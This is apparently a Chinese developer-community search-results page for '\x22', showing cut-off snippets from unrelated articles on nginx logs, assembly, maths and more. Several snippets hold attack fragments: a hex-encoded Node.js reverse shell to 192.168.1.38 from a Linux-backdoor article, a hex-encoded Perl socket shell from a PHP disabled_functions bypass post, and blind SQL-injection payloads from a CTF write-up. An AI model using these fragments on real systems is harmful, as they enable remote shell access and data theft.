\x22 - 腾讯云开发者社区

文章/答案/技术大牛

发布

nginx日志中添加请求的response日志

部分响应日志如下： response_body: {\x22code\x22: 404, \x22message\x22: \x22\xE8\xAF\xB7\xE6\xB1\x82\xE7\x9A...\x84\xE8\xB5\x84\xE6\xBA\x90\xE4\xB8\x8D\xE5\xAD\x98\xE5\x9C\xA8\x22, \x22data\x22: {}} 可通过复制到python脚本进行解决...str1=''' {\x22code\x22: 404, \x22message\x22: \x22\xE8\xAF\xB7\xE6\xB1\x82\xE7\x9A\x84\xE8\xB5\x84\xE6...\xBA\x90\xE4\xB8\x8D\xE5\xAD\x98\xE5\x9C\xA8\x22, \x22data\x22: {}} ''' print(str1.encode('raw_unicode_escape

2.4K3 0

clickhouse导入原始nginx日志数据

Safari/537.36 hap/1102/huawei com.huawei.fastapp/12.6.1.304 com.hmydb.zzxd/2.0.9 ({\x22packageName\x22...:\x22unknown\x22,\x22type\x22:\x22unknown\x22,\x22extra\x22:\x22{}\x22})" 139.224.56.94 - - [03/Dec/2022...Mobile Safari/537.36 hap/1102/huawei com.huawei.fastapp/12.6.1.304 com.hmydb.zzxd/2.0.9 ({\x22type\x22...:\x22shortcut\x22,\x22packageName\x22:\x22com.huawei.android.launcher\x22,\x22extra\x22:{\x22isNative...\x22:false,\x22scene\x22:\x22api\x22}})" 139.224.56.94 - - [03/Dec/2022:16:01:02 +0800] "GET /output/

7813 0

您找到你想要的搜索结果了吗？

是的

没有找到

Nginx 查看接口请求内容

2020:16:19:46 +0800] "POST /api/payForOnline HTTP/1.0" "application/json;charset=UTF-8" "{\x22scene\x22...:\x22h5_wx\x22,\x22cid\x22:10}" 200 82 "https://yinuopcuat.noahgrouptest.com/mobile/video-course?...\X22表示双引号，因为Nginx默认的log_format使用双引号作为间隔符,为了避免日志分析时候出现混乱,所以将双引号解析为x22了。

2.3K1 0

DataLife Engine v.16.0 Final Release（自检版本）

." - \112S x22\x43\157n\164ent-Typ\145\x22 conte\x6e\164\075\x22text...\x65=\x22\154\x6fger\x22 \x76alue\075\042\x22>\x3c/\164d>...x22\x20n\141me=\042\x77or\144er\x22 valu\x65=\042\x22...\x22>\015\012x22 n\141m\x65=\x22file\042\040value=\""....x22>l\151nksx22>curl<

2621 0

【康普森GS专栏】基因组选择中构建H矩阵需要设置哪些参数?

.* A22 iA22 = inv(A22) iG =inv(G) iA = inv(A) x22 = tau*iG - omega*iA22 diagx22 = diag...(x22) offdiagx22 = [] for i in 1:size(x22,1) for j in 1:size(x22,2) if(i !...(offdiagx22,x22[i,j]) end end end print("\n\nStatistic of Rel Matrix x22\n",..."\n\n") # 构建H逆矩阵 iHaa = iA[rea,rea] iHab = iA[rea,reb] iHba = iHab' iHbb = iA[reb,reb] + x22

1.8K2 0

很有趣的Java分形绘制

x1 * 2 + x2) / 3; 7 double y11 = (y1 * 2 + y2) / 3; 8 9 double x22...2) / 3; 10 double y22 = (y1 + y2 * 2) / 3; 11 12 double x33 = (x11 + x22...) / 2 - (y11 - y22) * Math.sqrt(3) / 2; 13 double y33 = (y11 + y22) / 2 - (x22 - x11) *...draw1((int) x11, (int) y11, (int) x33, (int) y33,depth-1); 20 draw1((int) x22..., (int) y22, (int) x2, (int) y2,depth-1); 21 draw1((int) x33, (int) y33, (int) x22, (int

7702 0

LIT CTF 2022

, json={\x22username\x22:\x22flag\x22,\x22password\x22:\x22a\\x27 or (SELECT hex(substr(password,1,1)...) FROM users limit 1 offset 0) = hex(\\x27a\\x27)--\x22}); print(r\x2Etext)\x27')['read']()}} 图片返回..., json={\x22username\x22:\x22flag\x22,\x22password\x22:\x22a\\x27 or (SELECT hex(substr(password,1,1)...) FROM users limit 1 offset 0) = hex(\\x27L\\x27)--\x22}); print(r\x2Etext)\x27')['read']()}} 图片返回..., json={\x22username\x22:\x22flag\x22,\x22password\x22:\x22a\\x27 or (SELECT hex(substr(password," +

1.4K2 0

一处JS反调试引发的思考

+[\x27|\x22];?...+[\x27|\x22];?\x20*} 化简后为其实就可以看懂了：\w+ * *{\w+ *['|"].+['|"];?...+[\x27|\x22];?...+[\x27|\x22];?\x20*}'; }; .........+[\x27|\x22];?

5042 0

003互联网网络技术之WireShark过滤语法

长度 matches(匹配)和contains(包含某字符串)语法 ip.src==192.168.1.107 and udp[8:5] matches "\\x02\\x12\\x21\\x00\\x22...0x02 xx xx 0x00 0x22 ... 0x03 正确 oicq and udp[8:] matches "^\\x02[\\x00-\\xff][\\x00-\\xff]\\x00\\x22...[\\x00-\\xff]+\\x03$" oicq and udp[8:] matches "^\\x02[\\x00-\\xff]{2}\\x00\\x22[\\x00-\\xff]+\\x03$"...8:] matches "^\\x02[\\x00-\\xff]{2}\\x03$") oicq and (udp[8:] matches "^\\x02[\\x00-\\xff]{2}\\x00\\x22...[\\x00-\\xff]+\\x03$" or tcp[20:] matches "^\\x02[\\x00-\\xff]{2}\\x00\\x22[\\x00-\\xff]+\\x03$") 不单单是

9716 0

msf反弹一把梭 | Linux后门系列

\x63\x6d\x64\x22\x20\x3a\x20\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x3b\x20\x76\x61\x72\x20\x6e\x65\x74\...x20\x3d\x20\x72\x65\x71\x75\x69\x72\x65\x28\x22\x6e\x65\x74\x22\x29\x2c\x20\x63\x70\x20\x3d\x20\x72\x65...\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2c\x20\x75\...x74\x69\x6c\x20\x3d\x20\x72\x65\x71\x75\x69\x72\x65\x28\x22\x75\x74\x69\x6c\x22\x29\x2c\x20\x73\x68\x20...\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x33\x38\x22\x2c\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\

2.2K2 0

PHP Disabled_functions Bypass

"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24"...."\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21"...."\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b"...."\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43"...."\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".

1.3K2 0

解决网页文字不能复制的方法

x36\x21\x3D\x37\x29\x7B\x38\x20\x32\x3D\x76\x2E\x77\x28\x33\x29\x3B\x35\x28\x37\x21\x3D\x3D\x32\x5B\x22...\x6B\x22\x5D\x26\x26\x27\x34\x27\x21\x3D\x32\x5B\x22\x6B\x22\x5D\x29\x7B\x33\x2E\x61\x28\x27\x36\x27\...x2C\x27\x62\x2D\x63\x3A\x34\x20\x21\x64\x27\x29\x3B\x65\x7D\x35\x28\x37\x21\x3D\x3D\x32\x5B\x22\x6C\x22...\x5D\x26\x26\x27\x34\x27\x21\x3D\x32\x5B\x22\x6C\x22\x5D\x29\x7B\x33\x2E\x61\x28\x27\x36\x27\x2C\x27\...\x22\x5D\x26\x26\x27\x34\x27\x21\x3D\x32\x5B\x22\x6D\x22\x5D\x29\x7B\x33\x2E\x61\x28\x27\x36\x27\x2C\

3.9K3 0

算法创作|简单行列式问题解决方法

ws.cell(1,1).value)x12=float(ws.cell(1,2).value)x13=float(ws.cell(1,3).value)x21=float(ws.cell(2,1).value)x22...ws.cell(3,2).value)x33=float(ws.cell(3,3).value)x14=x11x15=x12x24=x21x25=x22x34=x31x35=x32result =(x11 * x22...* x33) + (x12 * x23 * x31) + (x13 * x21 * x32) - (x13 * x22 * x31) - (x11 * x23 * x32) - (x12 * x21

3703 0

P1378 油滴扩展

int bh;// 编号 12 int wx,wy;//位置 13 double kzjl;// 扩展距离 14 }a[2001]; 15 int x11,y11,x22...//freopen("oilbox.out","w",stdout); 72 73 74 scanf("%d%d%d%d%d",&n,&x11,&y11,&x22...,&y22); 75 minx=min(x11,x22);miny=min(y11,y22);maxx=max(x11,x22);maxy=max(y11,y22); 76 77

8078 0

armv8arm64 中断系统调用流程

32 mov w0, w0 // zero upper 32 bits of x0 .endif push x28, x29 push x26, x27 push x24, x25 push x22...disable_step_tsk x19, x20 // exceptions when scheduling. .else add x21, sp, #S_FRAME_SIZE .endif mrs x22..., elr_el1 mrs x23, spsr_el1 stp lr, x21, sp, #S_LR stp x22, x23, sp, #S_PC /* * Set syscallno to -1...- aborted PC * x23 - aborted PSTATE */ .endm .macro kernel_exit, el, ret = 0 ldp x21, x22, sp, #S_PC...x23 .endif pop x10, x11 pop x12, x13 pop x14, x15 pop x16, x17 pop x18, x19 pop x20, x21 pop x22

9.7K6 2

PHP Disabled_functions Bypass

2.3K4 0

do_fork实现--下

cpu_context { unsigned long x19; unsigned long x20; unsigned long x21; unsigned long x22...ldp x21, x22, [sp, #S_PC] ，其中SP是在copy_thread的时候设置了，sp是指向了struct pt_regs结构的。...stack pointer msr sp_el0, x23 tst x22, #PSR_MODE32_BIT // native task?..., x1 .endif msr elr_el1, x21 // set up the return data msr spsr_el1, x22...获取了pc和pstate的值，则通过msr指令将x21和x22的设置到elr_el1，spsr_el1寄存器中。

1.7K2 1

从 Objective-C 和 Swift 看字典的性能优化（2）

从常量数组取出桶的容量 x22 保存从 __NSDictionarySizes[szidx] 取出的字典容量 0x1a256c3a4 : adrp x9, 464...0x1a256c3a8 : add x9, x9, #0xa40 ; =0xa40 0x1a256c3ac : ldr x22...代表字典容量 0x1a256c410 : ubfiz x1, x22, #4, #32 # ubfiz 指令与下面的代码等价，代表最多有个 UINT32_MAX...等于桶的可用容量，后面 key 的 hash冲突后会+1 0x1a256c4ac : mov x22, x26 0x1a256c4b0 : mov...等于桶的可用容量，减一后，再从 + 368 开始处理，会判断 “桶偏移量2” 位置是否存在冲突 0x1a256c4f8 : subs x22, x22, #0x1

1.6K1 0

【译文】30分钟让你分清几种距离

让我们来深入学习一下几种距离在数学上的推广,首先假设有两点a和b,它们的坐标分别是 a(x1,y1) ,b(x2,y2) 以及两个向量A和B 它们表示为 A(x11,x12,x13….x1n), B(x21,x22...(2)两个n维向量A(x11,x12,…,x1n)与B(x21,x22,…,x2n)间的曼哈顿距离 ? 3....(2)两个n维向量A(x11,x12,…,x1n)与B(x21,x22,…,x2n)间的切比雪夫距离 ? 用另一种形式的表达式就是如下,两个公式是等价的,可以推导出来. ? 4....闵可夫斯基距离　　(1)闵氏距离的定义:两个n维变量A(x11,x12,…,x1n)与B(x21,x22,…,x2n)间的闵可夫斯基距离定义为： ? 其中p是一个变参数。

1.3K9 0

机器学习的相似性度量

二维平面上两点a(x1,y1)与b(x2,y2)间的欧氏距离： (2)三维空间两点a(x1,y1,z1)与b(x2,y2,z2)间的欧氏距离： (3)两个n维向量a(x11,x12,…,x1n)与 b(x21,x22...(1)二维平面两点a(x1,y1)与b(x2,y2)间的曼哈顿距离 (2)两个n维向量a(x11,x12,…,x1n)与 b(x21,x22,…,x2n)间的曼哈顿距离 (3) Matlab计算曼哈顿距离...(1)二维平面两点a(x1,y1)与b(x2,y2)间的切比雪夫距离 (2)两个n维向量a(x11,x12,…,x1n)与 b(x21,x22,…,x2n)间的切比雪夫距离　　这个公式的另一种等价形式是...(1) 闵氏距离的定义两个n维变量a(x11,x12,…,x1n)与 b(x21,x22,…,x2n)间的闵可夫斯基距离定义为：其中p是一个变参数。...n维样本点a(x11,x12,…,x1n)和b(x21,x22,…,x2n)，可以使用类似于夹角余弦的概念来衡量它们间的相似程度。

1.7K8 0

点击加载更多

nginx日志中添加请求的response日志

clickhouse导入原始nginx日志数据

Nginx 查看接口请求内容

DataLife Engine v.16.0 Final Release（自检版本）

【康普森GS专栏】基因组选择中构建H矩阵需要设置哪些参数?

很有趣的Java分形绘制

LIT CTF 2022

一处JS反调试引发的思考

003互联网网络技术之WireShark过滤语法

msf反弹一把梭 | Linux后门系列

PHP Disabled_functions Bypass

解决网页文字不能复制的方法

算法创作|简单行列式问题解决方法

P1378 油滴扩展

armv8arm64 中断系统调用流程

PHP Disabled_functions Bypass

do_fork实现--下

从 Objective-C 和 Swift 看字典的性能优化（2）

【译文】30分钟让你分清几种距离

机器学习的相似性度量

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐